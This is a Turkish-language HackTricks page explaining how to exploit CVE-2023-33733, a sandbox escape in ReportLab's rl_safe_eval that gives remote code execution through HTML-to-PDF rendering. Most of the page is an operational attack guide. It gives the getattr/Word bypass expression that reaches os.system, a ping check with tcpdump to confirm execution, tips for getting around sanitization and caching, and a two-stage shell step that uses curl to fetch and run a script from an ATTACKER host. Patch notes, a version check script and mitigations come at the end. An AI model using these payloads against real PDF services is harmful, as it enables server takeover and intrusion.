ReportLab/xhtml2pdf [[[…]]] expression-evaluation RCE (CVE-2023-33733)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Bu sayfa, ReportLab’ın xhtml2pdf ve diğer PDF-üretim hattlarında kullanıcı kontrollü HTML’i PDF’e render ederken kullanılan rl_safe_eval’de pratik bir sandbox kaçışı ve RCE ilkelini belgeler.
CVE-2023-33733, ReportLab 3.6.12 dahil olmak üzere önceki sürümleri etkiler. Belirli öznitelik bağlamlarında (örneğin color) triple brackets [[[ … ]]] ile sarılmış değerler rl_safe_eval tarafından sunucu tarafında değerlendirilir. pow gibi beyaz listede olan bir builtin’den Python fonksiyon globals’ına pivot yapan bir payload hazırlayarak bir saldırgan os modülüne erişebilir ve komut çalıştırabilir.
Önemli noktalar
- Tetik: ReportLab/xhtml2pdf tarafından parse edilen işaretleme içinde gibi değerlendirilen özniteliklere [[[ … ]]] enjekte edin.
- Sandbox: rl_safe_eval tehlikeli builtinsleri değiştirir fakat değerlendirilen fonksiyonlar hala globals’ı açığa çıkarır.
- Bypass: rl_safe_eval isim kontrollerini atlatmak ve engellenmiş dunder filtrelemeden kaçınırken “globals” string’ine erişmek için geçici bir Word sınıfı oluşturun.
- RCE:
getattr(pow, Word('__globals__'))['os'].system('<cmd>') - Kararlılık: Komut çalıştırıldıktan sonra öznitelik için geçerli bir değer döndürün (renk için ‘red’ kullanın).
Ne zaman test edilmeli
- HTML-to-PDF export (profiller, faturalar, raporlar) sunan ve PDF metadata’sında veya HTTP yanıt yorumlarında xhtml2pdf/ReportLab gösteren uygulamalar.
- exiftool profile.pdf | egrep ‘Producer|Title|Creator’ → “xhtml2pdf” producer
- PDF için HTTP yanıtı genellikle bir ReportLab generator yorumu ile başlar
Sandbox atlatması nasıl çalışır
- rl_safe_eval birçok builtin’i (getattr, type, pow, …) kaldırır veya değiştirir ve __ ile başlayan veya bir denylist’te olan isimleri reddetmek için isim filtrelemesi uygular.
- Bununla birlikte, güvenli fonksiyonlar func.globals olarak erişilebilir bir globals sözlüğünde yaşar.
- Gerçek builtin type fonksiyonunu kurtarmak için type(type(1)) kullanın (ReportLab’ın wrapper’ını atlatır), sonra şu davranışları değiştirilmiş bir str türevli Word sınıfı tanımlayın:
- .startswith(‘’) → her zaman False (startswith(‘’) isim kontrolünü atlatır)
- .eq ilk karşılaştırmada False döner (denylist üyelik kontrollerini atlatır) ve sonrasında True döner (böylece Python getattr çalışır)
- .hash hash(str(self)) ile aynı olur
- Bununla, getattr(pow, Word(‘globals’)) sarmalanmış pow fonksiyonunun globals sözlüğünü döndürür; bu sözlük import edilmiş bir os modülünü içerir. Ardından:
['os'].system('<cmd>').
Minimal sömürü deseni (öznitelik örneği) Payload’u değerlendirilen bir özniteliğin içine yerleştirin ve boolean ve ‘red’ ile öznitelik için geçerli bir değer döndüğünden emin olun.
- Liste-kavramı formu rl_safe_eval için kabul edilebilir tek bir ifade olmasını sağlar.
- Sonundaki and ‘red’ geçerli bir CSS rengi döndürür, böylece render bozulmaz.
- Komutu gerektiği gibi değiştirin; tcpdump ile doğrulamak için ping kullanın.
Operasyonel iş akışı
- PDF üreticisini belirleyin
- PDF Producer xhtml2pdf gösterir; HTTP yanıtı ReportLab yorumu içerir.
- PDF’e yansıtılan bir girdi bulun (ör. profil bio/description) ve bir export tetikleyin.
- Düşük-gürültülü ICMP ile çalıştırmayı doğrulayın
- Çalıştırın:
sudo tcpdump -ni <iface> icmp - Payload: …
system('ping <your_ip>')… - Windows genellikle varsayılan olarak tam olarak dört echo isteği gönderir.
- Bir shell kurun
- Windows için güvenilir iki aşamalı yaklaşım tırnaklama/encode sorunlarından kaçınır:
- Aşama 1 (indir):
- Aşama 2 (çalıştır):
- Linux hedefleri için curl/wget ile benzer iki aşamalı yöntem mümkündür:
- system(‘curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s’)
Notlar ve ipuçları
- Öznitelik bağlamları: color bilinen değerlendirilen bir özniteliktir; ReportLab işaretlemesindeki diğer öznitelikler de ifadeleri değerlendirebilir. Bir konum sanitize ediliyorsa, PDF akışına render edilen diğer konumları deneyin (farklı alanlar, tablo stilleri, vb.).
- Tırnaklama: Komutları kısa tutun. İki aşamalı indirme tırnaklama ve escape sorunlarını büyük ölçüde azaltır.
- Güvenilirlik: Eğer exportlar cache’leniyor veya sıraya alınıyorsa, cache’i tetiklememek için payload’u biraz değiştirin (ör. rastgele path veya query).
Yama durumu (2024–2025) ve geri taşımaları (backports) tanımlama
- 3.6.13 (27 Apr 2023)
colors.toColor’u bir AST-yürüyüş parser’ı ile yeniden yazdı; daha yeni 4.x sürümleri bu yolu koruyor.rl_settings.toColorCanUseöğesinirl_safe_evalveyarl_extended_literal_evalolarak zorlamak, mevcut sürümlerde bile savunmasız değerlendiriciyi yeniden etkinleştirir. - Bazı dağıtımlar sürüm numaralarını korurken geri taşınmış düzeltmelerle (ör. 3.6.12-1+deb12u1) gönderir; yalnızca semantik sürüme güvenmeyin.
colors.py’deast.parseiçin grep yapın veya güvenli parser’ın kullanıldığını doğrulamak için runtime’datoColor’ı inceleyin (aşağıdaki hızlı kontrola bakın). - AST tabanlı düzeltmenin mevcut olup olmadığını hızlı yerel kontrol:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY
Önlemler ve tespit
- ReportLab’i 3.6.13 veya daha yeni sürüme yükseltin (CVE-2023-33733 düzeltildi). Dağıtım paketlerindeki güvenlik duyurularını da takip edin.
- Kullanıcı kontrollü HTML/işaretlemeyi xhtml2pdf/ReportLab’e, sıkı bir sanitizasyon olmadan doğrudan vermeyin. Güvenilmeyen girişlerde [[[…]]] değerlendirme yapılarını ve satıcıya özel etiketleri kaldırın/engelleyin.
- Güvenilmeyen girdiler için rl_safe_eval kullanımını tamamen devre dışı bırakmayı veya sarmalamayı düşünün.
- PDF oluşturulurken şüpheli giden bağlantıları izleyin (ör. doküman dışa aktarılırken uygulama sunucularından ICMP/HTTP).
Referanslar
- PoC ve teknik analiz: c53elyas/CVE-2023-33733
- 0xdf University HTB yazısı (real-world exploitation, Windows two-stage payloads): HTB: University
- NVD kaydı (etkilenen sürümler): CVE-2023-33733
- xhtml2pdf dokümanları (markup/page concepts): xhtml2pdf docs
- ReportLab 3.6.13 sürüm notları (toColor’ın AST yeniden yazımı): What’s New in 3.6.13
- Debian güvenlik takipçisi, küçük sürümleri değiştirmeden geri taşınmış düzeltmeleri gösteriyor: Debian tracker CVE-2023-33733
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


